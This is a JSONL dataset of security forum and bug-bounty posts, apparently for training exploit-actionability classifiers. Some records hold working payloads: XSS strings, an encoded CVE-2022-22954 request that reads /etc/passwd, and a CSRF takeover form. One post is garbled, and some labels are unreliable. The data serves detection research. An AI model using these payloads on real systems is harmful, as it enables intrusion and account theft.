-{"id": "1e014150ebdeff1a7740", "text": "Thanks mate, this was very unintuitive i dont want to have to click “Hint”", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ddae36c0346da47dc657", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS on https://travel.state.gov/content/travel/en/search.html\n\n## Summary:\nHello team,\nI Found RXSS via `segFilter` parameter on url : `https://travel.state.gov/content/travel/en/search.html/?search_input=hello&data-sia=false&data-con=false&search_btn=&segFilter=x%27%29%3bconfirm%28%271`\nOpen url, you will see an alert box pop up:\n\n{F2096019}\n\n## Impact\n\nSteal session cookies to account takeovers\nexecute JS code", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "238ea3e601fdf1d10f71", "text": "[Cleartext Transmission of Sensitive Information] Vulnerable moment-timezone version shipped\n\n## Summary:\nAfter this vulnerability refferences #1604606, I searching again about the vulnerabilities in other repositories and today we found a Information exposure in https://github.com/nextcloud/server Many communication channels can be \"sniffed\" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.\n\n\n\n**Fix:**\nProblem has been patched in version `0.5.35`, patch should be applicable with minor modifications to all affected versions. The patch includes changing the FTP endpoint with an HTTPS endpoint.\n```json\n        \"moment-timezone\": \"^0.5.35\",\n        \"version\": \"0.5.35\",\n        \"resolved\": \"https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.35.tgz\",\n        \"integrity\": \"sha512-cY/pBOEXepQvlgli06ttCTKcIf8cD1nmNwOKQQAdHBqYApQSpAqotBMX0RJZNgMp6i0PlZuf1mFtnlyEkwyvFw==\",\n```\n\n## Impact\n\n* if Alice uses `grunt data` (or `grunt release`) to prepare a custom-build, moment-timezone with the latest tzdata from IANA's website\n  * and Mallory intercepts the request to IANA's unencrypted ftp server, Mallory can serve data which might exploit further stages of the moment-timezone tzdata pipeline, or potentially produce a tainted version of moment-timezone (practicality of such attacks is not proved)\n\n[GHSA-v78c-4p63-2j6c](https://github.com/moment/moment-timezone/security/advisories/GHSA-v78c-4p63-2j6c)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d26fdc02afda49cbea5e", "text": "I’m scratching my head as well I’ve found the injection point and trying to move the /flag.txt file to the /tmp folder but I’m getting Permission denied message while moving. Exact: “Error while moving: mv: cannot move ‘/flag.txt’ to ‘/tmp/flag.txt’: Permission denied” Strange thing is that I also don’t see any output when I make a obfuscated ls command. If anyone can send help me in the right direction?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "38cce2fd9f0597fd944c", "text": "Can someone please give me a nudge with the Question 1 Predictable Reset Token please. I’ve adjusted the original reset_token_time.py script for this question, as shown in a post in this thread. I understand what everything is doing (start_time, endtime, now) etc but I still can’t get a valid token for htbadmin. I click the “Create reset token” button, which gives me a token and displays a time below it. I take this time and and convert it to epoch time (in milliseconds) then I enter this as my now value in the python script. I run the python script and enter the resulting generated code into “validate token” but it’s always wrong. I’m using +/- 1000 for the endtime and start_time values as suggested in the question. I just can’t think what the issue can be on this. Ta", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d54029f6f05e25edbde6", "text": "[Improper Access Control - Generic] S3 Bucket Takeover  \"brave-browser-rpm-staging-release-test\"\n\nHi Team,\n\nI hope Everything is going well on your side.\n\nRecently I was enumerating `brave.com` and I found that there is an unclaimed S3 bucket that can be a takeover by any attacker and was being used in getting keyrings of brave-browser in Linux distros.\n\nVulnerable URL:-\n\nhttps://s3-us-west-2.amazonaws.com/brave-browser-rpm-staging-release-test/\n\nHere an S3 Bucket is pointing towards domain hosting services so that these domains can be taken over and can be used to do any attack. Mostly, I can make a fake login page on your behalf and spoof your users; this is a critical vulnerability and needs to be fixed. In this case, it was pointing toward an unclaimed S3-Bucket.\n\n-->POC:-\n\nCheck out the attachments for more information I have claimed the subdomain through AWS S3 services. As soon as you resolve this issue, I will release it.\n\n\n\nI have uploaded proof.txt for further clarification.\n\nAlso, Bucket Takeover screenshots are attached.\n\n--> Before Takeover\n\n{F2120563}\n\nAWS \n\n{F2120566}\n\nAfter Takeover:\n\n{F2120564}\n\n--> URL:-\n\n`https://s3-us-west-2.amazonaws.com/brave-browser-rpm-staging-release-test/proof.txt`\n\n\n--> Steps To Reproduce:-\n\n1) Go to the below-mentioned URL\n\n`https://community.brave.com/t/cant-install-brave-in-opensuse-leap-15-1/157685/3`\n\n2) Here you can find the `https://s3-us-west-2.amazonaws.com/brave-browser-rpm-staging-release-test/` the S3 bucket is used for getting the keyrings in linux distros.\n\n***Moreover this keyrings were hosted on this bucket previously but now I think the bucket is changed to `https://s3-us-west-2.amazonaws.com/brave-browser-rpm-staging-release/` for downloading the binaries but  this `test` bucket is not reclaimed so that's why I am making this report***\n\nYou can also see this by using this URL where you can download the keyrings from the original bucket `https://s3-us-west-2.amazonaws.com/brave-browser-rpm-staging-release/x86_64/brave-keyring-1.8-1.noarch.rpm`.\n\n{F2120562}\n\n\nBut from the `test` bucket you can't download as it is available for takeover.\n\n3) Many users who visit the webpage to see how to get the keyrings for brave-browser in Linux will be redirected to the S3-Bucket, which is controlled by the attacker.\n\n## Impact\n\nAn attacker can take over the unclaimed s3 bucket and can spread the malware using this keyrings of brave browser then, an attacker can create a malicious file with custom payloads and can harm the user by downloading the malicious file instead of the original file.\n\n\n--> References:-\n\nhttps://hackerone.com/reports/1316650\n\nhttps://blog.sweepatic.com/subdomain-takeover-principles/\n\nhttps://hackerone.com/reports/32825\n\nhttps://hackerone.com/reports/175070\n\nhttps://hackerone.com/reports/172137\n\nhttps://github.com/EdOverflow/can-i-take-over-xyz", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2025359a0fc7894d811c", "text": "[SQL Injection] SQL Injection through /include/findusers.php\n\n## Summary:\nThe vulnerability is located in the `/include/findusers.php` script:\n\n```\n281.\t\t\t$total = $user_handler->getUserCountByGroupLink(@$_POST[\"groups\"], $criteria);\n282.\t\n283.\t\t\t$validsort = array(\"uname\", \"email\", \"last_login\", \"user_regdate\", \"posts\");\n284.\t\t\t$sort = (!in_array($_POST['user_sort'], $validsort)) ? \"uname\" : $_POST['user_sort'];\n285.\t\t\t$order = \"ASC\";\n286.\t\t\tif (isset($_POST['user_order']) && $_POST['user_order'] == \"DESC\") {\n287.\t\t\t\t$order = \"DESC\";\n288.\t\t\t}\n289.\t\n290.\t\t\t$criteria->setSort($sort);\n291.\t\t\t$criteria->setOrder($order);\n292.\t\t\t$criteria->setLimit($limit);\n293.\t\t\t$criteria->setStart($start);\n294.\t\t\t$foundusers = $user_handler->getUsersByGroupLink(@$_POST[\"groups\"], $criteria, TRUE);\n```\n\nUser input passed through the \"groups\" POST parameter is not properly sanitized before being passed to the `icms_member_Handler::getUserCountByGroupLink()` and `icms_member_Handler::getUsersByGroupLink()` methods at lines 281 and 294. These methods use the first argument to construct a SQL query without proper validation:\n\n```\n461.\t\tpublic function getUsersByGroupLink($groups, $criteria = null, $asobject = false, $id_as_key = false) {\n462.\t\t\t$ret = array();\n463.\t\n464.\t\t\t$select = $asobject ? \"u.*\" : \"u.uid\";\n465.\t\t\t$sql[] = \"\tSELECT DISTINCT {$select} \"\n466.\t\t\t\t\t. \"\tFROM \" . icms::$xoopsDB->prefix(\"users\") . \" AS u\"\n467.\t\t\t\t\t. \" LEFT JOIN \" . icms::$xoopsDB->prefix(\"groups_users_link\") . \" AS m ON m.uid = u.uid\"\n468.\t\t\t\t\t. \"\tWHERE 1 = '1'\";\n469.\t\t\tif (! empty($groups)) {\n470.\t\t\t\t$sql[] = \"m.groupid IN (\" . implode(\", \", $groups) . \")\";\n471.\t\t\t}\n```\n\nThis can be exploited by remote attackers to e.g. read sensitive data from the \"users\" database table through boolean-based SQL Injection attacks.\n\n## ImpressCMS branch :\nThe vulnerability has been tested and confirmed on ImpressCMS version 1.4.2 (the latest at the time of writing).\n\n## Steps To Reproduce:\nUse the attached Proof of Concept (PoC) script to reproduce this vulnerability. It's a PHP script supposed to be used from the command-line (CLI). You should see an output like the following:\n\n```\n$ php sqli.php http://localhost/impresscms/\n[-] Retrieving security token...\n[-] Starting SQL Injection attack...\n[-] Admin's email: admin@test.com\n```\n\nThe PoC leverages both this vulnerability and the one reported at #1081137 to achieve unauthenticated exploitation.\n\n## Impact\n\nThis vulnerability might allow **unauthenticated attackers** to disclose any field of the \"users\" database table, including the users' email addresses and password hashes, potentially leading to full account takeovers.\n\n**NOTE**: normally, successful exploitation of this vulnerability should require an admin user session. However, due to the vulnerability described in report #1081137, this could be exploited by unauthenticated attackers as well.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b9c32f6530c073f35028", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in merge request pages\n\nHello Gitlab!\n\n[Vulnerable code](https://gitlab.com/gitlab-org/gitlab/blob/9d81e97d9d111f874799605ce50ae480ae15b0c5/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue#L47)\n\nTo reproduce the bug, we need to open a merge request with the following conditions:\n1. Project must have 'Merge commit with semi-linear history' or 'Fast-forward merge' merge method\n2. The merge request must require rebase before fast-forward/merge\n3. A visitor of the merge request page must not have permissions to push to source branch\n4. Target branch name must have a special name `<img/src='x'/onerror=alert(document.domain)>` :) \n\n**Steps to reproduce:**\n\n1. Run Gitlab `docker run --detach --hostname gitlab.example.com --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab gitlab/gitlab-ce:latest`\n2. Create a new project\n3. Go to the project settings and set the 'Merge method' to 'Fast-forward merge' or 'Merge commit with semi-linear history' {F618529}\n4. Clone the repository and run the following in the repository:\n\n    ```bash\n    touch 1.txt\n    git add 1.txt\n    git commit -m \"initial commit\"\n    git push origin master\n    \n    git checkout -b \"<img/src='x'/onerror=alert(document.domain)>\"\n    touch 2.txt\n    git add 2.txt\n    git commit -m \"add 2.txt\"\n    git push origin \"<img/src='x'/onerror=alert(document.domain)>\"\n    \n    git checkout master\n    touch 3.txt\n    git add 3.txt\n    git commit -m \"add 3.txt\"\n    git push origin master\n    ```\n\n5. Create a merge request `master` => `<img/src='x'/onerror=alert(document.domain)>`\n6. Then we have to visit the merge request page under a user who does not have permissions to push to the source branch (in our case, `master` branch). For example: \n  * Make the project public and visit the merge request page under any user who does not have permissions in the project (or without authorization)\n  * Invite a user to the project, but without permissions to push to the source branch.\n\n{F618526}\n{F618527}\n{F618528}\n\n```bash\nroot@gitlab:/# gitlab-rake gitlab:env:info\n\nSystem information\nSystem:\t\t\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.6.3p62\nGem Version:\t2.7.9\nBundler Version:1.17.3\nRake Version:\t12.3.3\nRedis Version:\t3.2.12\nGit Version:\t2.22.0\nSidekiq Version:5.2.7\nGo Version:\tunknown\n\nGitLab information\nVersion:\t12.4.0\nRevision:\t1425a56c75b\nDirectory:\t/opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:\tPostgreSQL\nDB Version:\t10.9\nURL:\t\thttp://gitlab.example.com\nHTTP Clone URL:\thttp://gitlab.example.com/some-group/some-project.git\nSSH Clone URL:\tgit@gitlab.example.com:some-group/some-project.git\nUsing LDAP:\tno\nUsing Omniauth:\tyes\nOmniauth Providers: \n\nGitLab Shell\nVersion:\t10.2.0\nRepository storage paths:\n- default: \t/var/opt/gitlab/git-data/repositories\nGitLab Shell path:\t\t/opt/gitlab/embedded/service/gitlab-shell\nGit:\t\t/opt/gitlab/embedded/bin/git\nroot@gitlab:/# \n```\n\n## Impact\n\nAn attacker can:\n\n1. Perform any action within the application that a user can perform\n2. Steal sensitive user data\n3. Steal user's credentials", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9f5b4959d1892eaa9238", "text": "[Improper Access Control - Generic] Profile of disabled user stays accessible\n\nUserprofiles of disabled users keep staying accessible. on DOMAIN/u/USERID\nThis is quite undesirable as this user has no way to clear or modify this data in case they do not want it exposed anymore.\nI'd assume profiles of disabled users would not be visible to ensure they can always be in control of their own data.\n\n## Impact\n\nexposure of user info that they can't control anymore.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3d65bb322ad45d53b492", "text": "What should I do with links in comments on my site?\n\nWhat we did was remove the URL field in the comment fields we found this made a lot of bots skip us, the only way to get a link in is to put it in the actual comment. but escaped so no backlink. This to me allows people to share useful articles without making your website look like a link farm. If I find a link that's particularly good il allow it to be an actual clickable link because outbound linking to good resources is a good thing. If you are worried about Google I would not worry too much about the user-generated content isn't something they are interested in.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "antionline", "timestamp": "2022-05-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6a7f45f9f318977162a7", "text": "[Unknown] Rack CVE-2022-30122: Denial of Service Vulnerability in Rack Multipart Parsing\n\nReDoS in `Rack::Multipart::BROKEN_QUOTED` and `Rack::Multipart::BROKEN_UNQUOTED`.\n\n\nhttps://groups.google.com/g/ruby-security-ann/c/L2Axto442qk\n> Carefully crafted multipart POST requests can cause Rack's multipart parser to take much longer than expected, leading to a possible denial of service vulnerability.\n\n## Impact\n\nWhen the client sends a specially crafted header, it occur ReDoS on the server side.\nServers that interpret Post data by default, like Rails, are affected.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-30122"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9f0f1c7c36893ff6ab61", "text": "[Business Logic Errors] Unauthorized access to PII leads to MASS account Takeover\n\nHi, I hope you doing well\nI found a critical endpoint which disclosed the personal information which can use to takeover any account present on https://██████████\n#Steps:\n1. Visit the link https://www.████████/███████    you will get my details,  including first name and last name, mobile number and email_address related to the account.\n2. Go to the forgot password link present at https://www.███████/ click on it.\n3. Enter the mail address later you will be taken to another page which will ask you to enter mail address and pin\n4. After entering mail address enter the pin as \"████\" as █████████ is at the endpoint.\n5. It will validate and will ask you to change the password of that account.\n\n###Note:  To get email list and pin list just decrease the number at the endpoint \nfor example https://www.████████/███will give you another mail_address and pin will be ██████████\n\n## Impact\n\nAn attacker can able to takeover any account that is present on that side.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7520d5a0dfcf59ca3fa3", "text": "Exploiting File Upload Vulnerability with image srce being data://\n\nHi there, every now and then I stumble over web apps that are based on JavaScript / JSON frameworks. There is a functionality to upload images, which I can bypass to upload a shell or other file types. However, when displaying the image via the web app, the image is embedded usually in the following way: <img src=\"....\"> Do you see any way to exploit this anyway? So far, I have been capturing the HTTP requests to check from which directory the file has been pulled from and try to access the file directly from there.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-12-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fbdb1aa9bf44807665e4", "text": "[Cross-site Scripting (XSS) - Reflected] XSS via X-Forwarded-Host header\n\nSummary:\nThe https://www.omise.co/ website is vulnerable to a cross-site scripting flaw if the server receives a crafted X-Forwarded-Host header.\n\nDescription:\nThe server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.\n\n\nSteps To Reproduce:\nOriginal Link - https://www.omise.co/\n\n 1. Visit https://www.omise.co/ capture the request in Intercept \n 2. Send the request to Repeater add X-Forwarded-Host: bing.com\"><img src/onerror=prompt(document.cookie)>  below Host: www.omise.co\n 3. The JavaScript alert box displays some cookie information. \n\nMitigation:\nIgnore invalid browser headers. Filter metacharacters from user input.\n\nPOC:\nAttached Video.\n\n## Impact\n\nThis flaw allows attackers to pass rogue JavaScript to unsuspecting users. The user’s browser has no way to know the script should not be trusted, so it will execute the script and because the browser thinks the script came from a trusted source, aka your website, a malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with your site. These scripts can even rewrite the content of the HTML page.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "223e65adf5ac6b67b00b", "text": "UMAC - Universal Macintosh- Applet\n\nNow in brute force you got to ping the server for the access to winmap -Winamp is used for collection services based upon the status, or stats of the object … BASH Example > > .index = 0; > .num1 = “applet-data-usage”; > .interface = 1028; > > For (index = 0; index < 1028; ++num1){ > > > > ++index; > > ++num1; > > interface = interface * index; } $interface = num1; Usually used somewhat like a pointer class or integer there is another set Blockquote cat graph2.dll >> graph2.rar;", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-05-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "de28ef248328de7b51e5", "text": "What should I do with links in comments on my site?\n\nYou can review comments and approve that on site.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "antionline", "timestamp": "2022-05-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6229e9c74cbf0e18f870", "text": "[Cross-site Scripting (XSS) - Stored] Content Security Policy is only active for HTML responses  but not for image/svg+xml\n\n- Setup plain Rails application with a simple route and controller\n- Configure a Content Security Policy (CSP) for downloading/preview endpoints with `default-src 'none'` (via https://edgeguides.rubyonrails.org/security.html#content-security-policy)\n- Send a malicious SVG* file (e.g. attached example) from the controller via `send_data` or `send_file` with  `disposition: 'inline'` (e.g. `send_file '/path/malicious.svg', type: 'image/svg+xml', disposition: 'inline'` / `send_data malicious_svg.content, , type: 'image/svg+xml', disposition: 'inline'`)\n- Expect CSP to prevent Java Script code execution as recommended by SVG Working Group specifications (see: https://github.com/w3c/svgwg/issues/266#issuecomment-270482690)\n-  See that malicious SVG Java Script is executed\n- __Find out that Rails only applies CSP for responses with Content-Type HTML__ (see: https://github.com/rails/rails/blob/c236ff686c6fa987924b8eefeec93c2abcc07843/actionpack/lib/action_dispatch/http/content_security_policy.rb#L20)\n\nNote: ActiveStorage prevents this by filtering via ActiveStorage.content_types_allowed_inline\n\n## Impact\n\nThe attacker can trick victim users to execute Java Script in the scope of their active session by uploading the malicious file to the server and sending a link to that file to the victim.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b3cf9bbf347ab8467edb", "text": "[Code Injection] ██████████ vulnerable to CVE-2022-22954\n\nI found that one of the targets belongs to **DOD** vulnerable to **CVE-2022-22954** where an attacker may be able to execute any malicious code like escalating Remote code execution is also possible \n\n**Technical Summary:**\n\nCVE-2022-22954 is a server-side template injection vulnerability in the VMware Workspace ONE Access and Identity Manager. This vulnerability was assigned a CVSSv3 score of 9.8. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation could result in remote code execution by exploiting a server-side template injection flaw.\n\n**Vulnerable URL:**\n\nhttps://████/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d\n\n## Impact\n\nThe impact of server-side template injection vulnerabilities is generally critical, resulting in remote code execution by taking full control of the back-end server. Even without the code execution, the attacker may be able to read sensitive data on the server\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\nVMware workspace One\n\n## CVE Numbers\nCVE-2022-22954\n\n## Steps to Reproduce\n* Visit the vulnerable URL **https://████** and Intercept the request in burp suite\n* Append the following endpoint **/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d** and analyze the response you will see the contents of **/etc/passwd**\n\n**Request:**\n\n```\nGET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d HTTP/1.1\nHost: █████████\nCookie: LOGIN_XSRF=NSlYKinVNwgOtuT; JSESSIONID=A86B60C5FD0B58346764D1FB01DAF155\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nCache-Control: max-age=0\nTe: trailers\nConnection: close\n```\n\n**Response:**\n\n```\nHTTP/1.1 400 \nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nSet-Cookie: EUC_XSRF_TOKEN=6386e149-ff55-4a34-b474-30e6c0c62299; Path=/catalog-portal; Secure\nCache-Control: no-cache,private\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000 ; includeSubDomains\nX-Frame-Options: SAMEORIGIN\nContent-Type: text/html;charset=UTF-8\nContent-Language: en-US\nDate: Mon, 11 Apr 2022 15:03:40 GMT\nConnection: close\nContent-Length: 3576\n\n<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/html\">\n<head>\n    <title>Error Page</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\"/>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"/>\n    <style>\n        body {\n            background: #465361;\n        }\n\n        .error-container {\n            position: fixed;\n            top: 50%;\n            left: 50%;\n            transform: translate(-50%, -50%);\n            -ms-transform: translate(-50%, -50%);\n            text-align: center;\n            width: 25%;\n            background-color: #fff;\n            padding: 20px;\n            box-shadow: 0 3px 2px -2px rgba(0, 0, .5, 0.35);\n            border-radius: 4px;\n        }\n\n        .error-img-container svg {\n            width: 40px;\n        }\n\n        .error-text-heading {\n            font-weight: bold;\n            p", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-22954"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "99e3b856a27f7bec6484", "text": "If I remember correctly I brute forced for FTP but if you’re using the right wordlist it’s will not take long at all I hope this helps but I can’t remember for sure the the service i brute forced", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "34cfda3bac3bdf41a2a4", "text": "[Cross-Site Request Forgery (CSRF)] Account Takeover and Information update due to cross site request forgery via POST █████████/registration/my-account.cfm\n\n## Summary:\nHello Team,\n\nWhile researching on https://████/ , I found a cross site request forgery attack which leads to account's information update and that further leads to account takeover via password reset functionality.\n\n## Steps To Reproduce:\nCheck This video for understanding the attack scenario.\n████████\n\n### Scenarios & Steps:\n\nSuppose there is a user which is logged in to their account.\nNow attacker sent him a malicious link which will lead to account information update.\n\nSteps for above scenario are:\n\n1. Victim must be logged in to ███/registration/index.cfm .\n2. Attacker sent him a malicious link.\n    For this attacker need to step a server which contain below code:\n\n    ```\n    <html>\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"█████/registration/my-account.cfm\" method=\"POST\">\n      <input type=\"hidden\" name=\"cmdSubmit\" value=\"Update&#32;My&#32;Account\" />\n      <input type=\"hidden\" name=\"txtFirstname\" value=\"fname\" />\n      <input type=\"hidden\" name=\"txtMI\" value=\"hi\" />\n      <input type=\"hidden\" name=\"txtLastname\" value=\"lnames\" />\n      <input type=\"hidden\" name=\"txtAddress\" value=\"hello\" />\n      <input type=\"hidden\" name=\"optAddress\" value=\"temporary\" />\n      <input type=\"hidden\" name=\"txtPhone\" value=\"89\" />\n\n        <!-- here we enter  a temporary email address via online tools like tempmail  -->\n      <input type=\"hidden\" name=\"txtEmail1\" value=\"voyan61996&#64;jrvps&#46;com\" />\n      <input type=\"hidden\" name=\"txtEmail2\" value=\"voyan61996&#64;jrvps&#46;com\" />\n      <input type=\"hidden\" name=\"txtPassword1\" value=\"\" />\n      <input type=\"hidden\" name=\"txtPassword2\" value=\"\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n    ```\n\nStep 3:\nNow victim will click on the link sent by the attacker.\nAfter clicking the link; information is updated on the victims account and the email is also updated which will further lead to account takeover.\n\nNow Attacker side:\n\nStep 1:\nVisit ████/\n\nStep 2:\nIn Forgot your password Form :\nEnter the victim username. And click on generate a new password.\n\nStep 3:\nCheck the email which is entered in the csrf exploit. Here you find the password of that user.\n\nStep 4:\nVisit ███/\nEnter the username and password. And now you are successfully takeover the victim account.\n\n## Problems\n1. There is no Anti-CSRF Token.\n2. Sending password to an unverified account which leads to account takeover.\n\n## Supporting Material/References:\n\n  * █████\n\n## Impact\n\nAttacker is able to takeover any account and change the information of any account via csrf.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d8e13574ecd56537a8ef", "text": "I have a different problem, I dont get any errors but I don’t see any hashes at all, I am using kali not parrot", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fdfb4b7aaa2cb7fb2596", "text": "I think this one is broken, all the files in the /home/alex folder are missing and I’m unable to connect to get the Elasticity flag, maybe some more files are missing too Can anybody vote for reset to restore it?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4416d543086e7d7f92af", "text": "[Business Logic Errors] Response Manipulation lead to bypass verification code while making appointment at `█████████`\n\n## Steps To Reproduce:\n\n1. Go to this URL https://www.███/visit-information/schedule-appointment/\n2. Make an appointment\n3. Choose send verification code to email\n4. Enter random code \n5. Intercept the request using burp\n4. Click do intercept response and forward\n5. Change false to true\n\n## Impact\n\nbypass verification code", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
